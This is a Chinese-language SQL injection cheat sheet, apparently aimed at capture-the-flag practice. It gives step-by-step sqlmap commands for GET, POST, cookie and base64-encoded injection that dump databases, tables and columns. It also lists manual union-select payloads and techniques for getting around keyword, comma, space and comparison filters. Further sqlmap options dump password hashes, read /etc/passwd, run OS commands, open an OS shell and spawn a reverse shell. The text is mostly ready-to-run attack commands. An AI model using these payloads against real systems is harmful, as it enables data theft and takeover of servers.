sqlmap基础注入 判断有无注入 python sqlmap.py -u “http://192.168.1.1/list.php?id=1” --batch 注入数据库 python sqlmap.py -u “http://192.168.1.1/list.php?id=1” --dbs --batch 注入表 python sqlmap.py -u “http://192.168.1.1/list.php?id=1” -D KM --tables --batch 注入字段 python sqlmap.py -u “http://192.168.1.1/list.php?id=1” -D KM -T BM --columns --batch 注入内容 python sqlmap.py -u “http://192.168.1.1/list.php?id=1” -D KM -T BM -C “id,thekey” --dump --batch
sqlmapPOST注入 python sqlmap.py -u “http://192.168.1.1/list.php?id=1” --data=“id=1&name=werner” --batch 或者 首先使用burpsuite抓包,抓包之后把包数据保存到文档中,此处为1.txt,在POST盲注时可以在参数后加* 判断有无注入 python sqlmap.py -r 1.txt --batch 注入数据库 python sqlmap.py -r 1.txt --dbs --batch 注入表 python sqlmap.py -r 1.txt -D KM --tables --batch 注入字段 python sqlmap.py -r 1.txt -D KM -T BM --columns --batch 注入内容 python sqlmap.py -r 1.txt -D BM -T BM -C “id” --dump --batch
sqlmap注入 base64 python sqlmap.py -u “http://192.168.1.1/list.php?id=1” --data=“id=1&name=werner” --batch 或者 首先使用burpsuite抓包,抓包之后把包数据保存到文档中,此处为1.txt 判断有无注入 python sqlmap.py -r 1.txt -tamper base64encode,base64encode --batch 注入数据库 python sqlmap.py -r 1.txt -tamper base64encode,base64encode --dbs --batch 注入表 python sqlmap.py -r 1.txt -tamper base64encode,base64encode -D KM --tables --batch 注入字段 python sqlmap.py -r 1.txt -tamper base64encode,base64encode -D KM -T BM --columns --batch 注入内容 python sqlmap.py -r 1.txt -tamper base64encode,base64encode -D KM -T BM -C ‘id’ --dump --batch
sqlmap cookies注入
可以在文件中cookie的位置加上*,比如Cookie: id=1*; 判断有无注入 python sqlmap.py -u “http://192.168.1.1/list.php?id=1” --cookie “id=1” -level 2 --batch 注入数据库 python sqlmap.py -u “http://192.168.1.1/list.php?id=1” --cookie “id=1” -level 2 --dbs --batch 注入表 python sqlmap.py -u “http://192.168.1.1/list.php?id=1” --cookie “id=1” -level 2 -D KM --tables --batch 注入字段 python sqlmap.py -u “http://192.168.1.1/list.php?id=1” --cookie “id=1” -level 2 -D KM -T BM --columns --batch 注入内容 python sqlmap.py -u “http://192.168.1.1/list.php?id=1” --cookie “id=1” -level 2 -D KM -T BM -C “id” --dump --batch
1、首先通过sqlmap跑一下,目前接触到的无非是get、post、cookie、base64 2、在跑的时候注意,cookie需要直接用链接,不要用抓包,还有就是题目中有可能没有提示cookie跑,但是需要个人去猜; 3、手工猜解注意以下几点: x-forward-for x-forwarded-for referer cookie 先判断注入点,如果是get注入,先判断是否有注入,手工即可,所有的注入点都判断完了再上burp进行包注入 order by 判断列数 union select 1,2,3,4 获取所有的表名: union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema = database() 获取字段名 union select 1,2,3,group_concat(COLUMN_NAME) from information_schema.columns where table_schema = database() and table_name=‘key_05’ 获取数据: union select 1,2,3,thekey from key_05 过滤 oorrder by 5 ununionion sselectelect 1,2,3,group_concat(table_name) from infoorrmation_schema.tables where table_schema = database() ununionion sselectelect 1,2,3 ,group_concat(COLUMN_NAME) from infoorrmation_schema.columns where table_schema = database() anandd table_name=‘key_the1’ ununionion sselectelect 1,2,3,the_key from key_05
字符串的替换的绕过可以双写,and or union select 等关键字可以进行双写绕过 如果数据中使用了base64位加密,比如2次加密,可以加上 -tamper base64encode,base64encode进行sqlmap爆破1、过滤关键字 过滤关键字应该是最常见的过滤了,因为只要把关键字一过滤,你的注入语句基本就不起作用了。 绕过方法: (1)最常用的绕过方法就是用//,<>,分割关键字 sel<>ect sel//ect (2)根据过滤程度,有时候还可以用双写绕过 selselectect (3)既然是过滤关键字,大小写应该都会被匹配过滤,所以大小写绕过一般是行不通的。 (4)有时候还可以使用编码绕过 url编码绕过 16进制编码绕过 ASCII编码绕过 (5)关键词and,or常被用做简单测试网站是否容存在注入。 过滤注入: 1 or 1 = 1 1 and 1 = 1 绕过注入: 1 || 1 = 1 1 && 1 = 1 (6)过滤注入: union select user,password from users 绕过注入: 1 || (select user from users where user_id = 1)=‘admin’ || 管道符后边的意思就是,从users表中查找 user_id = 1 的 user 数据是不是 admin 2、过滤逗号 常见的几种注入方法基本上都要使用逗号,要是逗号被过滤了,那就只能想办法绕过了。 绕过方法: (1)简单注入可以使用join方法绕过 原语句: union select 1,2,3 join语句: union select * from (select 1)a join (select 2)b join (select 3) (2)对于盲注的那几个函数substr(),mid(),limit substr和mid()可以使用from for的方法解决 substr(str from pos for len) //在str中从第pos位截取len长的字符 mid(str from pos for len)//在str中从第pos位截取len长的字符 limit可以用offset的方法绕过 limit 1 offset 1 使用substring函数也可以绕过 substring(str from pos) //返回字符串str的第pos个字符,索引从1开始 3、过滤空格 空格被过滤有以下几种方法绕过: (1)双空格 (2)/**/ (3)用括号绕过 (4)用回车代替 //ascii码为chr(13)&chr(10),url编码为%0d%0a
4、过滤等号 如果等号被过滤了我们可以用 like 代替
5、过滤大于小于号 盲注中我们经常需要用到比较符,如果他们被过滤了,我们可以用以下几种方法绕过:
(1)greatest(n1,n2,n3,...) //返回其中的最大值 (2)strcmp(str1,str2) //当str1=str2,返回0,当str1>str2,返回1,当str1<str2,返回-1 (3)in 操作符 (4)between and //选取介于两个值之间的数据范围。这些值可以是数值、文本或者日期。6、曝出数据库版本 select count(*),(concat(floor(rand()*2),(select version())))x from users group by x 7、sqlmap 编码绕waf注入 sqlmap.py -u http://127.0.0.1/test.php?id=1 -v 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py” 在sqlmap 的 tamper目录下有很多space2morehash.py 编码脚本自行加载
其他用法: sqlmap -u “ –smart –dbms “Mysql” –users #列数据库用户 sqlmap -u “ –smart –dbms “Mysql” –dbs#列数据库 sqlmap -u “ –smart –dbms “Mysql”–passwords #数据库用户密码 sqlmap -u “ –smart –dbms “Mysql”–passwords-U root -v 0 #列出指定用户数据库密码 sqlmap -u “ –smart –dbms “Mysql” –dump-all -v 0 #列出所有数据库所有表 sqlmap -u “ –smart –dbms “Mysql”–privileges #查看权限 sqlmap -u “ –smart –dbms “Mysql”–privileges -U root #查看指定用户权限 sqlmap -u “ –smart –dbms “Mysql” –is-dba -v 1 #是否是数据库管理员 sqlmap -u “ –smart –dbms “Mysql” –roles #枚举数据库用户角色 sqlmap -u “ –smart –dbms “Mysql”–udf-inject #导入用户自定义函数(获取系统权限!) sqlmap -u “ –smart –dbms “Mysql”–dump-all –exclude-sysdbs -v 0 #列出当前库所有表 sqlmap -u “ –smart –dbms “Mysql” –union-check #是否支持union 注入 sqlmap -u “ –smart –dbms “Mysql”–union-cols #union 查询表记录 sqlmap -u “ –smart –dbms “Mysql” –union-test #union 语句测试 sqlmap -u “ –smart –dbms “Mysql” –union-use –banner #采用union 注入 sqlmap -u “ –smart –dbms “Mysql”–union-test –union-tech orderby #union 配合 order by sqlmap -u “ –smart –dbms “Mysql”–method “POST” — data “id=1&cat=2″ #post注入 sqlmap -u “ –smart –dbms “Mysql”–cookie “COOKIE_VALUE” #cookie注入 sqlmap -u “ –smart –dbms “Mysql”-b #获取banner信息 sqlmap -u “http://url/news?id=1” –level=3 –smart-v 1 -f #指纹判别数据库类型 sqlmap -u “http://url/news?id=1” –level=3 –smart–proxy”http://127.0.0.1:8118” #代理注入 sqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE“ #指定关键词 sqlmap -u “ –smart –dbms “Mysql”–sql-shell #执行指定sql命令 sqlmap -u “ –smart –dbms “Mysql”–file /etc/passwd sqlmap -u “ –smart –dbms “Mysql”–os-cmd=whoami #执行系统命令 sqlmap -u “ –smart –dbms “Mysql”–os-shell #系统交互shell sqlmap -u “ –smart –dbms “Mysql”–os-pwn #反弹shell sqlmap -u “ –smart –dbms “Mysql”–reg-read #读取win系统注册表 sqlmap -u “ –smart –dbms “Mysql” –dbs-o “sqlmap.log” #保存进度 sqlmap -u “ –smart –dbms “Mysql” –dbs -o “sqlmap.log” –resume #恢复已保存进度
